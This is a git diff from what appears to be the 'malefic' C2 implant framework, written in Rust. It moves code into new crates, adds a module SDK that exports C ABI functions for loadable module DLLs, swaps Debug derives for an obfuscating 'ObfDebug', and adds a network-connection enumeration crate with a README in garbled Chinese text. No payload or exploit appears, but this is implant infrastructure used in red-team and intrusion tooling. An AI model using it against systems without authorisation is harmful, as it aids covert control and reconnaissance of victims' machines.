Output, + handler: HandlerFn, + handler_name: &str, +) -> ModuleResult { + use futures::StreamExt; + + let mut last_result: Option = None; + + while let Some(body) = receiver.next().await { + if let Body::Request(request) = body { + let req_buf = encode_request(&request)?; + + let mut resp_ptr: *mut c_char = std::ptr::null_mut(); + let mut resp_len: c_int = 0; + + let rc = unsafe { + handler( + id as c_uint, + req_buf.as_ptr() as *const c_char, + req_buf.len() as c_int, + &mut resp_ptr, + &mut resp_len, + ) + }; + + if rc != 0 { + return Err( + anyhow::anyhow!("{} failed (task {}, rc={})", handler_name, id, rc).into(), + ); + } + + let response = if !resp_ptr.is_null() && resp_len > 0 { + let buf = unsafe { FfiBuffer::new(resp_ptr, resp_len as usize) }; + decode_response(buf.as_bytes())? + } else { + if !resp_ptr.is_null() { + unsafe { ffi_free(resp_ptr) }; + } + Response::default() + }; + + let task_result = TaskResult::new_with_body(id, Body::Response(response)); + + // Forward the previous result as an intermediate message. + if let Some(prev) = last_result.take() { + let _ = sender.unbounded_send(prev); + } + last_result = Some(task_result); + } else { + break; + } + } + + last_result.ok_or_else(|| anyhow::anyhow!("module {} produced no output", handler_name).into()) +} diff --git a/malefic-proto/src/module/mod.rs b/malefic-crates/module/src/lib.rs similarity index 66% rename from malefic-proto/src/module/mod.rs rename to malefic-crates/module/src/lib.rs index ba5d2be..e325f8e 100644 --- a/malefic-proto/src/module/mod.rs +++ b/malefic-crates/module/src/lib.rs @@ -1,12 +1,26 @@ -use std::collections::HashMap; -use thiserror::Error; +pub mod r#macro; +pub mod prelude; + +#[cfg(feature = "ffi")] +pub mod ffi; + +#[cfg(feature = "ffi")] +pub mod abi; +#[cfg(feature = "ffi")] +pub mod codec; +#[cfg(feature = "ffi")] +pub mod module_sdk; + use async_trait::async_trait; use futures_channel::mpsc::{UnboundedReceiver, UnboundedSender}; -use crate::proto::implantpb::spite::Body; -use crate::proto::implantpb::Status; -use crate::proto::{implantpb, modulepb}; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::Status; +use malefic_proto::proto::{implantpb, modulepb}; +use std::collections::HashMap; -pub mod r#macro; +use malefic_gateway::ObfDebug; + +pub use malefic_common::errors::TaskError; pub type MaleficModule = dyn Module + Send + Sync + 'static; pub type MaleficBundle = HashMap>; @@ -14,42 +28,7 @@ pub type Output = UnboundedSender; pub type Input = UnboundedReceiver; pub type ModuleResult = anyhow::Result; -#[derive(Error, Debug)] -pub enum TaskError { - #[error(transparent)] - OperatorError(#[from] anyhow::Error), - - #[error("")] - NotExpectBody, - - #[error("{msg}")] - FieldRequired { msg: String }, - - #[error("{msg}")] - FieldLengthMismatch { msg: String }, - - #[error("{msg}")] - FieldInvalid { msg: String }, - - #[error("")] - NotImpl, -} - -impl TaskError { - pub fn id(&self) -> i32 { - match self { - TaskError::OperatorError { .. } => 2, - TaskError::NotExpectBody => 3, - TaskError::FieldRequired { .. } => 4, - TaskError::FieldLengthMismatch { .. } => 5, - TaskError::FieldInvalid { .. } => 6, - TaskError::NotImpl => 99, - } - } -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] +#[derive(ObfDebug, Clone)] pub struct TaskResult { pub task_id: u32, pub body: Body, @@ -103,11 +82,12 @@ impl TaskResult { body: Body::Empty(Default::default()), status: Status { task_id, - status: task_error.id(), // module error + status: task_error.id(), error: task_error.to_string(), }, } } + pub fn to_spite(&self) -> implantpb::Spite { let mut spite = implantpb::Spite { task_id: self.task_id, @@ -125,7 +105,6 @@ impl TaskResult { } } -// 定义扩展trait #[async_trait] pub trait Module: ModuleImpl { fn name() -> &'static str @@ -135,15 +114,29 @@ pub trait Module: ModuleImpl { where Self: Sized; fn new_instance(&self) -> Box; - /* - async fn run(&mut self, id: u32, recv_channel: &mut Input, send_channel: &mut Output) - -> Result; - */ + + /// Synchronous bridge: runs ModuleImpl::run() on a blocking thread. + /// + /// Default implementation panics. The `#[module_impl]` macro auto-generates + /// an override that uses a noop_waker poll loop to drive the async future. + /// + /// Called by the runtime's RtBridge inside `spawn_blocking`. + fn rt_run( + &mut self, + _id: u32, + _recv_channel: &mut Input, + _send_channel: &mut Output, + ) -> ModuleResult { + unimplemented!("rt_run not generated — missing #[module_impl] macro?") + } } #[async_trait] pub trait ModuleImpl { - async fn run(&mut self, id: u32, recv_channel: &mut Input, send_channel: &mut Output) - -> ModuleResult; - -} \ No newline at end of file + async fn run( + &mut self, + id: u32, + recv_channel: &mut Input, + send_channel: &mut Output, + ) -> ModuleResult; +} diff --git a/malefic-proto/src/module/macro.rs b/malefic-crates/module/src/macro.rs similarity index 99% rename from malefic-proto/src/module/macro.rs rename to malefic-crates/module/src/macro.rs index 2be90c6..2d99632 100644 --- a/malefic-proto/src/module/macro.rs +++ b/malefic-crates/module/src/macro.rs @@ -63,7 +63,6 @@ macro_rules! register_module { }; } - #[macro_export] macro_rules! to_error { ($expr:expr) => { @@ -79,4 +78,4 @@ macro_rules! debug { println!($($arg)*); } }; -} \ No newline at end of file +} diff --git a/malefic-crates/module/src/module_sdk.rs b/malefic-crates/module/src/module_sdk.rs new file mode 100644 index 0000000..00f8435 --- /dev/null +++ b/malefic-crates/module/src/module_sdk.rs @@ -0,0 +1,351 @@ +//! Module SDK for building cross-version module DLLs. +//! +//! Module authors implement [`RtModule`] for each module, then use +//! [`register_rt_modules!`] to generate the required C ABI exports. +//! +//! The module receives an [`RtChannel`] providing `send()`, `recv()`, and +//! `try_recv()` for full bidirectional streaming with the host. +//! +//! # Example +//! +//! ```rust,ignore +//! use malefic_runtime::module_sdk::*; +//! use malefic_proto::proto::implantpb::spite::Body; +//! use malefic_proto::proto::modulepb::Response; +//! +//! struct MyModule; +//! +//! impl RtModule for MyModule { +//! fn name() -> &'static str { "my_module" } +//! fn new() -> Self { Self } +//! fn run(&mut self, task_id: u32, ch: &RtChannel) -> RtResult { +//! let input = ch.recv()?; +//! // process... +//! ch.send(Body::Response(Response::default()))?; +//! RtResult::Done(Body::Empty(Default::default())) +//! } +//! } +//! +//! malefic_runtime::register_rt_modules!(MyModule); +//! ``` + +use crate::abi::{RtHostFreeFn, RtRecvFn, RtSendFn, RtTryRecvFn}; +use core::ffi::c_void; +use malefic_proto::proto::implantpb::spite::Body; + +// ── RtChannel ─────────────────────────────────────────────────────────────── + +/// Safe bidirectional channel for module ↔ host communication. +/// +/// Wraps the C ABI callback pointers in a safe Rust API. +/// Provided to modules in [`RtModule::run()`]. +pub struct RtChannel { + task_id: u32, + ctx: *mut c_void, + send_fn: RtSendFn, + recv_fn: RtRecvFn, + try_recv_fn: RtTryRecvFn, + host_free: RtHostFreeFn, +} + +// Safety: RtChannel is used only within a single rt_module_run call on one thread. +unsafe impl Send for RtChannel {} + +impl RtChannel { + /// Construct from raw C pointers. Called by macro-generated code. + /// + /// # Safety + /// All function pointers must be valid for the duration of the module's `run()`. + #[doc(hidden)] + pub unsafe fn from_raw( + task_id: u32, + ctx: *mut c_void, + send_fn: RtSendFn, + recv_fn: RtRecvFn, + try_recv_fn: RtTryRecvFn, + host_free: RtHostFreeFn, + ) -> Self { + Self { + task_id, + ctx, + send_fn, + recv_fn, + try_recv_fn, + host_free, + } + } + + /// Push a `Body` to the host (intermediate output). + /// + /// Returns `Err(Closed)` if the host has closed the output channel. + pub fn send(&self, body: Body) -> Result<(), RtChannelError> { + let bytes = crate::codec::encode_body(self.task_id, body); + let rc = unsafe { (self.send_fn)(self.ctx, bytes.as_ptr(), bytes.len() as u32) }; + if rc == 0 { + Ok(()) + } else { + Err(RtChannelError::Closed) + } + } + + /// Pull a `Body` from the host (blocking). + /// + /// Blocks until the host sends data. Returns `Err(Eof)` when no more + /// input will arrive (host closed the channel or task was cancelled). + pub fn recv(&self) -> Result { + let mut ptr: *mut u8 = core::ptr::null_mut(); + let mut len: u32 = 0; + let rc = unsafe { (self.recv_fn)(self.ctx, &mut ptr, &mut len) }; + if rc != 0 { + return Err(RtChannelError::Eof); + } + let result = self.decode_and_free(ptr, len); + result + } + + /// Non-blocking receive. + /// + /// Returns `Ok(Some(body))` if data is available, `Ok(None)` if no data + /// yet (would block), or `Err(Eof)` if the channel is permanently closed. + pub fn try_recv(&self) -> Result, RtChannelError> { + let mut ptr: *mut u8 = core::ptr::null_mut(); + let mut len: u32 = 0; + let rc = unsafe { (self.try_recv_fn)(self.ctx, &mut ptr, &mut len) }; + match rc { + 0 => self.decode_and_free(ptr, len).map(Some), + -1 => Ok(None), // would block + _ => Err(RtChannelError::Eof), // -2 = EOF + } + } + + fn decode_and_free(&self, ptr: *mut u8, len: u32) -> Result { + let bytes = unsafe { core::slice::from_raw_parts(ptr, len as usize) }; + let result = crate::codec::decode_spite(bytes); + unsafe { (self.host_free)(ptr, len) }; + match result { + Ok(spite) => spite.body.ok_or(RtChannelError::NoBody), + Err(e) => Err(RtChannelError::Decode(e.to_string())), + } + } +} + +// ── Error / Result types ──────────────────────────────────────────────────── + +/// Channel operation error. +#[derive(Debug)] +pub enum RtChannelError { + /// Host closed the output channel (send failed). + Closed, + /// No more input (recv returned EOF). + Eof, + /// Received a Spite with no Body. + NoBody, + /// Protobuf decode error. + Decode(String), +} + +impl core::fmt::Display for RtChannelError { + fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result { + match self { + Self::Closed => write!(f, "channel closed"), + Self::Eof => write!(f, "end of input"), + Self::NoBody => write!(f, "received spite with no body"), + Self::Decode(e) => write!(f, "decode error: {}", e), + } + } +} + +/// Module execution result. +pub enum RtResult { + /// Module completed successfully. Body is the final output. + Done(Body), + /// Module encountered an error. + Error(String), +} + +// Convenience: allow `ch.recv()?` to propagate into RtResult::Error +impl From for RtResult { + fn from(e: RtChannelError) -> Self { + RtResult::Error(e.to_string()) + } +} + +// ── RtModule trait ────────────────────────────────────────────────────────── + +/// Trait implemented by each runtime module. +/// +/// Unlike the host-side `Module` trait, this is fully synchronous and blocking. +/// The module controls its own execution flow via `channel.send()` / `recv()`. +pub trait RtModule: Send + 'static { + /// Module name (static string matching the command name). + fn name() -> &'static str + where + Self: Sized; + + /// Create a new instance. + fn new() -> Self + where + Self: Sized; + + /// Run the module with full bidirectional channel access. + /// + /// The module can: + /// - `channel.recv()` to pull input from the host (blocking) + /// - `channel.send()` to push output to the host + /// - `channel.try_recv()` to poll for input without blocking + /// - Return `RtResult::Done(body)` when finished + fn run(&mut self, task_id: u32, channel: &RtChannel) -> RtResult; +} + +// ── Type erasure (for macro internals) ────────────────────────────────────── + +#[doc(hidden)] +pub trait ErasedRtModule: Send { + fn run(&mut self, task_id: u32, channel: &RtChannel) -> RtResult; +} + +impl ErasedRtModule for T { + fn run(&mut self, task_id: u32, channel: &RtChannel) -> RtResult { + RtModule::run(self, task_id, channel) + } +} + +/// Descriptor for a registered module (used by the macro). +pub struct RtModuleDescriptor { + pub name_fn: fn() -> &'static str, + pub constructor: fn() -> Box, +} + +// ── Registration macro ────────────────────────────────────────────────────── + +/// Generate all required C ABI exports for a set of modules. +/// +/// Exports 7 `extern "C"` functions: `rt_abi_version`, `rt_module_count`, +/// `rt_module_name`, `rt_module_create`, `rt_module_destroy`, +/// `rt_module_run`, `rt_free`. +/// +/// Supports `#[cfg(...)]` on each module for conditional compilation: +/// ```ignore +/// register_rt_modules!( +/// #[cfg(feature = "pwd")] fs::pwd::Pwd, +/// #[cfg(feature = "whoami")] sys::whoami::Whoami, +/// ); +/// ``` +#[macro_export] +macro_rules! register_rt_modules { + ($($(#[$meta:meta])* $module:ty),+ $(,)?) => { + static _RT_MODULE_REGISTRY: &[$crate::module_sdk::RtModuleDescriptor] = &[ + $( + $(#[$meta])* + $crate::module_sdk::RtModuleDescriptor { + name_fn: <$module as $crate::module_sdk::RtModule>::name, + constructor: || { + Box::new(<$module as $crate::module_sdk::RtModule>::new()) + }, + }, + )+ + ]; + + #[no_mangle] + pub extern "C" fn rt_abi_version() -> u32 { + $crate::abi::RT_ABI_VERSION + } + + #[no_mangle] + pub extern "C" fn rt_module_count() -> u32 { + _RT_MODULE_REGISTRY.len() as u32 + } + + #[no_mangle] + pub extern "C" fn rt_module_name(index: u32) -> $crate::abi::RtBuffer { + if (index as usize) >= _RT_MODULE_REGISTRY.len() { + return $crate::abi::RtBuffer::empty(); + } + let name = (_RT_MODULE_REGISTRY[index as usize].name_fn)(); + $crate::abi::RtBuffer::from_vec(name.as_bytes().to_vec()) + } + + #[no_mangle] + pub extern "C" fn rt_module_create( + name_ptr: *const u8, + name_len: u32, + ) -> *mut $crate::abi::RtModuleHandle { + if name_ptr.is_null() || name_len == 0 { + return core::ptr::null_mut(); + } + let name = unsafe { + match core::str::from_utf8( + core::slice::from_raw_parts(name_ptr, name_len as usize) + ) { + Ok(s) => s, + Err(_) => return core::ptr::null_mut(), + } + }; + for desc in _RT_MODULE_REGISTRY.iter() { + if (desc.name_fn)() == name { + let module = (desc.constructor)(); + let boxed = Box::new(module); + return Box::into_raw(boxed) as *mut $crate::abi::RtModuleHandle; + } + } + core::ptr::null_mut() + } + + #[no_mangle] + pub extern "C" fn rt_module_destroy(handle: *mut $crate::abi::RtModuleHandle) { + if !handle.is_null() { + unsafe { + let _ = Box::from_raw( + handle as *mut Box + ); + } + } + } + + #[no_mangle] + pub extern "C" fn rt_module_run( + handle: *mut $crate::abi::RtModuleHandle, + task_id: u32, + ctx: *mut core::ffi::c_void, + send_fn: $crate::abi::RtSendFn, + recv_fn: $crate::abi::RtRecvFn, + try_recv_fn: $crate::abi::RtTryRecvFn, + host_free: $crate::abi::RtHostFreeFn, + final_out: *mut $crate::abi::RtBuffer, + ) -> $crate::abi::RtStatus { + use $crate::abi::{RtBuffer, RtStatus}; + + if handle.is_null() || final_out.is_null() { + return RtStatus::Error; + } + + let module = unsafe { + &mut *(handle as *mut Box) + }; + + let channel = unsafe { + $crate::module_sdk::RtChannel::from_raw( + task_id, ctx, send_fn, recv_fn, try_recv_fn, host_free, + ) + }; + + let (status, buf) = match module.run(task_id, &channel) { + $crate::module_sdk::RtResult::Done(body) => { + let bytes = $crate::codec::encode_body(task_id, body); + (RtStatus::Done, RtBuffer::from_vec(bytes)) + } + $crate::module_sdk::RtResult::Error(msg) => { + (RtStatus::Error, RtBuffer::from_vec(msg.into_bytes())) + } + }; + + unsafe { *final_out = buf; } + status + } + + #[no_mangle] + pub extern "C" fn rt_free(buf: $crate::abi::RtBuffer) { + unsafe { $crate::abi::rt_buffer_from_vec_free(buf); } + } + }; +} diff --git a/malefic-crates/module/src/prelude.rs b/malefic-crates/module/src/prelude.rs new file mode 100644 index 0000000..bfd26e5 --- /dev/null +++ b/malefic-crates/module/src/prelude.rs @@ -0,0 +1,8 @@ +pub use crate::{check_field, check_optional, check_request, debug, register_module, to_error}; +pub use crate::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskError, + TaskResult, +}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::implantpb::{Spite, Spites}; +pub use malefic_proto::proto::modulepb::Response; diff --git a/malefic-crates/net/Cargo.toml b/malefic-crates/net/Cargo.toml new file mode 100644 index 0000000..8c92a3c --- /dev/null +++ b/malefic-crates/net/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "malefic-net" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = { workspace = true } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } + +[target.'cfg(target_os = "windows")'.dependencies] +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_NetworkManagement_IpHelper", + "Win32_Networking_WinSock", +] } + +[target.'cfg(unix)'.dependencies] +libc = { workspace = true } +nix = { workspace = true } + +[target.'cfg(target_os = "macos")'.dependencies] +byteorder = { workspace = true } diff --git a/malefic-crates/net/README.md b/malefic-crates/net/README.md new file mode 100644 index 0000000..23ac0c4 --- /dev/null +++ b/malefic-crates/net/README.md @@ -0,0 +1,96 @@ +# malefic-net + +跨平å°ç½‘络连接枚举库,æä¾›ç»Ÿä¸€æŽ¥å£æŸ¥è¯¢ç³»ç»Ÿ Socket 连接与网络接å£ä¿¡æ¯ã€‚ + +## 功能简介 + +- 枚举系统所有活跃的 TCP/UDP 连接(IPv4 + IPv6) +- æŸ¥è¯¢æ¯æ¡è¿žæŽ¥çš„æœ¬åœ°/远程地å€ã€å议类型ã€PID åŠè¿žæŽ¥çŠ¶æ€ +- 查询网络接å£ä¿¡æ¯ï¼ˆç´¢å¼•ã€åç§°ã€MAC 地å€ã€IP 列表) +- å„å¹³å°ä½¿ç”¨åŽŸç”Ÿ API 实现,无外部命令ä¾èµ– + +## å¹³å°å®žçް + +| å¹³å° | å®žçŽ°æ–¹å¼ | 支æŒçš„åè®® | +|------|---------|-----------| +| Windows | `GetExtendedTcpTable` / `GetExtendedUdpTable` (Win32 API) | TCP, TCP6, UDP, UDP6 | +| Linux / Android | Netlink Socket(首选),`/proc/net/*` procfs(回退) | TCP, TCP6, UDP, UDP6, Unix | +| macOS | `sysctl` å†…æ ¸æŽ¥å£ | TCP, TCP6, UDP, UDP6 | + +## 核心数æ®ç»“æž„ + +```rust +/// ç½‘ç»œè¿žæŽ¥ä¿¡æ¯ +pub struct NetStat { + pub local_addr: String, // æœ¬åœ°åœ°å€ (ip:port) + pub remote_addr: String, // è¿œç¨‹åœ°å€ (ip:port) + pub protocol: String, // åè®®: tcp / tcp6 / udp / udp6 / unix + pub pid: String, // 所属进程 PID + pub sk_state: String, // 连接状æ€: ESTABLISHED / LISTEN / ... +} + +/// 网络接å£ä¿¡æ¯ +pub struct NetInterface { + pub index: u32, // 接å£ç´¢å¼• + pub name: String, // 接å£åç§° + pub mac: String, // MAC åœ°å€ + pub ips: Vec, // 绑定的 IP 地å€åˆ—表 +} +``` + +## 基本用法 + +```rust +use malefic_net::{get_netstat, get_network_interfaces}; + +// 枚举所有网络连接 +let connections = get_netstat().unwrap(); +for conn in &connections { + println!("[{}] {} -> {} (pid={}, state={})", + conn.protocol, conn.local_addr, conn.remote_addr, + conn.pid, conn.sk_state); +} + +// æŸ¥è¯¢ç½‘ç»œæŽ¥å£ +let interfaces = get_network_interfaces().unwrap(); +for iface in &interfaces { + println!("{}: mac={}, ips={:?}", iface.name, iface.mac, iface.ips); +} +``` + +底层 `get_sockets` å‡½æ•°æ”¯æŒæŒ‰å议过滤: + +```rust +// 仅查询 IPv4 TCP 连接 +let tcp_only = win::get_sockets( + true, // ipv4 + false, // ipv6 + true, // tcp + false, // udp +).unwrap(); +``` + +## TCP è¿žæŽ¥çŠ¶æ€ + +返回的 `sk_state` 字段对应标准 TCP çŠ¶æ€æœºï¼š + +| çŠ¶æ€ | 说明 | +|------|------| +| `LISTEN` | 等待连接 | +| `ESTABLISHED` | 已建立连接 | +| `SYN_SENT` | å·²å‘é€ SYN | +| `SYN_RCVD` | 已收到 SYN | +| `FIN_WAIT1` | 主动关闭,等待 FIN-ACK | +| `FIN_WAIT2` | 已收到 ACK,等待 FIN | +| `TIME_WAIT` | 等待超时关闭 | +| `CLOSE_WAIT` | 被动关闭,等待应用关闭 | +| `CLOSING` | åŒæ–¹åŒæ—¶å…³é—­ | +| `LAST_ACK` | 等待最终 ACK | +| `CLOSED` | 已关闭 | + +## å‚考链接 + +- [GetExtendedTcpTable (Win32)](https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-getextendedtcptable) +- [Linux Netlink SOCK_DIAG](https://man7.org/linux/man-pages/man7/sock_diag.7.html) +- [/proc/net/tcp æ ¼å¼è¯´æ˜Ž](https://www.kernel.org/doc/html/latest/networking/proc_net_tcp.html) +- [macOS sysctl 网络接å£](https://developer.apple.com/documentation/kernel/sysctl) diff --git a/malefic-helper/src/darwin/netstat/libproc_bindings.rs b/malefic-crates/net/src/darwin/libproc_bindings.rs similarity index 100% rename from malefic-helper/src/darwin/netstat/libproc_bindings.rs rename to malefic-crates/net/src/darwin/libproc_bindings.rs diff --git a/malefic-helper/src/darwin/netstat/mod.rs b/malefic-crates/net/src/darwin/mod.rs similarity index 96% rename from malefic-helper/src/darwin/netstat/mod.rs rename to malefic-crates/net/src/darwin/mod.rs index 7b1966e..a780174 100644 --- a/malefic-helper/src/darwin/netstat/mod.rs +++ b/malefic-crates/net/src/darwin/mod.rs @@ -1,18 +1,17 @@ +mod libproc_bindings; pub mod socket; mod sysctl; -mod libproc_bindings; // #[allow(unused)] // mod libproc_bindings { // include!(concat!(env!("OUT_DIR"), "/libproc_bindings.rs")); // } - use socket::{Protocol, Socket}; use std::io::Error; use std::process::Command; use std::str::FromStr; -use crate::darwin::netstat::sysctl::get_sockets_sysctl; +use crate::darwin::sysctl::get_sockets_sysctl; pub fn get_sockets(ipv4: bool, ipv6: bool, tcp: bool, udp: bool) -> Result, Error> { let mut sockets = Vec::new(); diff --git a/malefic-helper/src/darwin/netstat/socket.rs b/malefic-crates/net/src/darwin/socket.rs similarity index 71% rename from malefic-helper/src/darwin/netstat/socket.rs rename to malefic-crates/net/src/darwin/socket.rs index 4118aba..dd31867 100644 --- a/malefic-helper/src/darwin/netstat/socket.rs +++ b/malefic-crates/net/src/darwin/socket.rs @@ -1,6 +1,7 @@ +use malefic_gateway::ObfDebug; use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; -#[derive(Debug, Clone, Copy, PartialEq)] +#[derive(ObfDebug, Clone, Copy, PartialEq)] pub enum Protocol { Tcp, Tcp6, @@ -19,7 +20,7 @@ impl Protocol { } } -#[derive(Debug, Clone, Copy, PartialEq)] +#[derive(ObfDebug, Clone, Copy, PartialEq)] pub enum TcpState { Closed, Listen, @@ -68,7 +69,7 @@ impl TcpState { } } -#[derive(Debug, Clone)] +#[derive(ObfDebug, Clone)] pub struct TcpSocketInfo { pub local_addr: IpAddr, pub local_port: u16, @@ -77,19 +78,19 @@ pub struct TcpSocketInfo { pub state: TcpState, } -#[derive(Debug, Clone)] +#[derive(ObfDebug, Clone)] pub struct UdpSocketInfo { pub local_addr: IpAddr, pub local_port: u16, } -#[derive(Debug, Clone)] +#[derive(ObfDebug, Clone)] pub enum ProtocolSocketInfo { Tcp(TcpSocketInfo), Udp(UdpSocketInfo), } -#[derive(Debug, Clone)] +#[derive(ObfDebug, Clone)] pub struct Socket { pub protocol_socket_info: ProtocolSocketInfo, pub pid: u32, @@ -102,18 +103,32 @@ pub struct Socket { impl Socket { pub fn new(protocol_socket_info: ProtocolSocketInfo, pid: u32) -> Self { let (local_addr, remote_addr, protocol, state) = match &protocol_socket_info { - ProtocolSocketInfo::Tcp(info) => ( - format!("{}:{}", format_ip(info.local_addr), info.local_port), - format!("{}:{}", format_ip(info.remote_addr), info.remote_port), - String::from("tcp"), - info.state.to_string(), - ), - ProtocolSocketInfo::Udp(info) => ( - format!("{}:{}", format_ip(info.local_addr), info.local_port), - String::new(), - String::from("udp"), - String::new(), - ), + ProtocolSocketInfo::Tcp(info) => { + // Determine protocol based on IP address type + let proto = match info.local_addr { + IpAddr::V4(_) => "tcp", + IpAddr::V6(_) => "tcp6", + }; + ( + format!("{}:{}", format_ip(info.local_addr), info.local_port), + format!("{}:{}", format_ip(info.remote_addr), info.remote_port), + String::from(proto), + info.state.to_string(), + ) + } + ProtocolSocketInfo::Udp(info) => { + // Determine protocol based on IP address type + let proto = match info.local_addr { + IpAddr::V4(_) => "udp", + IpAddr::V6(_) => "udp6", + }; + ( + format!("{}:{}", format_ip(info.local_addr), info.local_port), + String::new(), + String::from(proto), + String::new(), + ) + } }; Self { @@ -154,5 +169,6 @@ pub fn tcp_state_to_string(state: u8) -> String { 9 => "FIN_WAIT_2", 10 => "TIME_WAIT", _ => "UNKNOWN", - }.to_string() + } + .to_string() } diff --git a/malefic-helper/src/darwin/netstat/sysctl.rs b/malefic-crates/net/src/darwin/sysctl.rs similarity index 90% rename from malefic-helper/src/darwin/netstat/sysctl.rs rename to malefic-crates/net/src/darwin/sysctl.rs index 605a86c..94ec410 100644 --- a/malefic-helper/src/darwin/netstat/sysctl.rs +++ b/malefic-crates/net/src/darwin/sysctl.rs @@ -1,13 +1,13 @@ -use super::socket::{Protocol, Socket, TcpState, TcpSocketInfo, UdpSocketInfo, ProtocolSocketInfo}; -use crate::darwin::netstat::libproc_bindings::*; +use super::libproc_bindings::*; +use super::socket::{Protocol, ProtocolSocketInfo, Socket, TcpSocketInfo, TcpState, UdpSocketInfo}; +use byteorder::{ByteOrder, NetworkEndian}; +use libc::{self, AF_INET, AF_INET6, IPPROTO_TCP, IPPROTO_UDP, PF_INET}; +use std::fs::OpenOptions; +use std::io::Write; use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; +use std::ptr; use std::time::Duration; use std::{io, mem}; -use std::ptr; -use libc::{self, PF_INET, AF_INET6,AF_INET, IPPROTO_TCP, IPPROTO_UDP}; -use std::fs::OpenOptions; -use std::io::Write; -use byteorder::{ByteOrder, NetworkEndian}; // macOS specific sysctl MIB names const NET_RT_IFLIST2: i32 = 6; const PF_ROUTE: i32 = 17; @@ -70,7 +70,6 @@ impl ProcFDType { } } - pub struct ProcFDInfo { pub proc_fd: i32, pub proc_fdtype: ProcFDType, @@ -85,7 +84,6 @@ impl Default for ProcFDInfo { } } - impl ProcFDInfo { fn try_from_proc_fdinfo(other: proc_fdinfo) -> Result { Ok(ProcFDInfo { @@ -136,18 +134,16 @@ pub fn list_all_fds_for_pid(pid: PID) -> Result, io::Error> { } else { Ok(fds .into_iter() - .map(|fd| ProcFDInfo::try_from_proc_fdinfo(fd).unwrap_or_default()) + .filter_map(|fd| ProcFDInfo::try_from_proc_fdinfo(fd).ok()) .collect()) } } pub fn get_sockets_sysctl(protocol: Protocol) -> Result, io::Error> { let mut sockets = Vec::new(); - - // èŽ·å–æ‰€æœ‰è¿›ç¨‹çš„ PID - let number_of_pids = unsafe { - proc_listpids(1, 0, std::ptr::null_mut(), 0) - }; + + // Get all process PIDs + let number_of_pids = unsafe { proc_listpids(1, 0, std::ptr::null_mut(), 0) }; if number_of_pids < 0 { return Err(io::Error::last_os_error()); @@ -167,17 +163,17 @@ pub fn get_sockets_sysctl(protocol: Protocol) -> Result, io::Error> return Err(io::Error::last_os_error()); } - // 过滤掉无效的 PID + // Filter out invalid PIDs let pids: Vec = pids.into_iter().filter(|&pid| pid > 0).collect(); - // é历æ¯ä¸ªè¿›ç¨‹ + // Iterate through each process for pid in pids { let fds = match list_all_fds_for_pid(pid) { Ok(fds) => fds, - Err(_) => continue, // æƒé™ä¸è¶³ç›´æŽ¥è·³è¿‡ + Err(_) => continue, // Skip if insufficient permissions }; - // é历文件æè¿°ç¬¦ + // Iterate through file descriptors for fd in &fds { if fd.proc_fdtype as i32 != PROX_FDTYPE_SOCKET { continue; @@ -199,21 +195,21 @@ pub fn get_sockets_sysctl(protocol: Protocol) -> Result, io::Error> let socket_info = unsafe { &*(socket_buffer.as_ptr() as *const socket_fdinfo) }; - // 检查å议类型 + // Check protocol type let is_ipv6 = socket_info.psi.soi_family == AF_INET6 as i32; let is_ipv6_protocol = matches!(protocol, Protocol::Tcp6 | Protocol::Udp6); - // if is_ipv6 != is_ipv6_protocol { - // continue; - // } + if is_ipv6 != is_ipv6_protocol { + continue; + } - // 检查åè®® + // Check protocol let is_tcp = socket_info.psi.soi_protocol == libc::IPPROTO_TCP as i32; let is_udp = socket_info.psi.soi_protocol == libc::IPPROTO_UDP as i32; let is_tcp_protocol = matches!(protocol, Protocol::Tcp | Protocol::Tcp6); let is_udp_protocol = matches!(protocol, Protocol::Udp | Protocol::Udp6); - // if !((is_tcp && is_tcp_protocol) || (is_udp && is_udp_protocol)) { - // continue; - // } + if !((is_tcp && is_tcp_protocol) || (is_udp && is_udp_protocol)) { + continue; + } let protocol_socket_info = if is_tcp { if let Some(tcp_info) = parse_tcp_socket_info(socket_info) { diff --git a/malefic-crates/net/src/lib.rs b/malefic-crates/net/src/lib.rs new file mode 100644 index 0000000..1ad74fc --- /dev/null +++ b/malefic-crates/net/src/lib.rs @@ -0,0 +1,53 @@ +#[cfg(target_os = "macos")] +pub mod darwin; +#[cfg(any(target_os = "linux", target_os = "android"))] +pub mod linux; +#[cfg(target_os = "windows")] +pub mod win; + +#[cfg(target_os = "macos")] +use darwin as netstat; +#[cfg(any(target_os = "linux", target_os = "android"))] +use linux as netstat; +#[cfg(target_os = "windows")] +use win as netstat; + +use malefic_common::errors::CommonError; +use malefic_common::to_error; +use malefic_gateway::ObfDebug; + +#[derive(ObfDebug, Clone)] +pub struct NetInterface { + pub index: u32, + pub name: String, + pub mac: String, + pub ips: Vec, +} + +pub fn get_network_interfaces() -> Result, CommonError> { + Ok(Vec::new()) +} + +#[derive(ObfDebug, Clone)] +pub struct NetStat { + pub local_addr: String, + pub remote_addr: String, + pub protocol: String, + pub pid: String, + pub sk_state: String, +} + +pub fn get_netstat() -> Result, CommonError> { + let mut netstats = Vec::new(); + let sockets = to_error!(netstat::get_sockets(true, true, true, true))?; + for socket in sockets { + netstats.push(NetStat { + local_addr: socket.local_addr, + remote_addr: socket.remote_addr, + protocol: socket.protocol, + pid: socket.pid.to_string(), + sk_state: socket.state, + }); + } + Ok(netstats) +} diff --git a/malefic-helper/src/linux/netstat/mod.rs b/malefic-crates/net/src/linux/mod.rs similarity index 63% rename from malefic-helper/src/linux/netstat/mod.rs rename to malefic-crates/net/src/linux/mod.rs index 571abf0..be8ffad 100644 --- a/malefic-helper/src/linux/netstat/mod.rs +++ b/malefic-crates/net/src/linux/mod.rs @@ -8,7 +8,7 @@ use std::io::Error; pub fn get_sockets(ipv4: bool, ipv6: bool, tcp: bool, udp: bool) -> Result, Error> { let mut sockets = Vec::new(); - // 首先å°è¯•使用 netlink æŽ¥å£ + // First try using netlink interface let use_netlink = || -> Result, Error> { let mut sockets = Vec::new(); if tcp { 